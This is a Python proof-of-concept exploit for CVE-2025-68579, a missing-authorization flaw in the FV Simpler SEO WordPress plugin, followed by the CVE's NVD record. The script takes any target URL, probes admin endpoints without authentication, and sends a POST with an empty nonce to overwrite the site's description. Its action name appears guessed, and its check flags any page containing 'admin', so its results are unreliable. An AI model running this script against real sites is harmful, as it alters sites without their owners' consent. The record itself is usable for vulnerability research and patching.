CVE-2025-68579

''' CVE-2025-68579 PoC - Missing Authorization in FV Simpler SEO Plugin Target: WordPress site with FV Simpler SEO plugin <= 1.9.6 Author: Security Researcher ''' import requests import sys def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-68579 """ # Common FV Simpler SEO endpoints that may be affected endpoints = [ '/wp-admin/admin-ajax.php', '/wp-content/plugins/fv-all-in-one-seo-pack/fv-all-in-one-seo-pack.php', ] # Test with unauthenticated request headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', } print(f'[*] Testing target: {target_url}') print(f'[*] Checking for Missing Authorization vulnerability...') # Try to access admin functionality without authentication for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, headers=headers, timeout=10, verify=False) print(f'[+] Tested endpoint: {endpoint}') print(f' Status Code: {response.status_code}') # Check if we can access admin functionality if response.status_code == 200: # Look for signs of unauthorized access if 'fv_seo' in response.text.lower() or 'admin' in response.text.lower(): print(f'[!] Potential vulnerability detected at {endpoint}') return True except requests.RequestException as e: print(f'[-] Error testing {endpoint}: {e}') return False def exploit_unauthorized_access(target_url): """ Attempt to exploit the missing authorization vulnerability This PoC demonstrates how an attacker could access protected functionality """ print(f'\n[*] Attempting to exploit unauthorized access...') # Example: Try to trigger SEO settings modification without auth exploit_data = { 'action': 'fv_seo_ajax_action', 'nonce': '', # Empty nonce - exploiting missing auth check 'setting': 'site_description', 'value': 'Compromised by CVE-2025-68579' } url = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' try: response = requests.post(url, data=exploit_data, timeout=10, verify=False) if response.status_code == 200: print(f'[+] Request sent successfully') print(f' Response: {response.text[:200]}') return True except requests.RequestException as e: print(f'[-] Exploitation failed: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-68579-poc.py <target_url>') print('Example: python cve-2025-68579-poc.py http://example.com') sys.exit(1) target = sys.argv[1] # Disable SSL warnings for testing requests.packages.urllib3.disable_warnings() if check_vulnerability(target): print('\n[!] Target appears to be VULNERABLE') exploit_unauthorized_access(target) else: print('\n[*] Target does not appear to be vulnerable')

{"cve": {"id": "CVE-2025-68579", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:25.020", "lastModified": "2026-04-27T19:16:32.907", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in FolioVision FV Simpler SEO fv-all-in-one-seo-pack allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects FV Simpler SEO: from n/a through <= 1.9.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/fv-all-in-one-seo-pack/vulnerability/wordpress-fv-simpler-seo-plugin-1-9-6-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}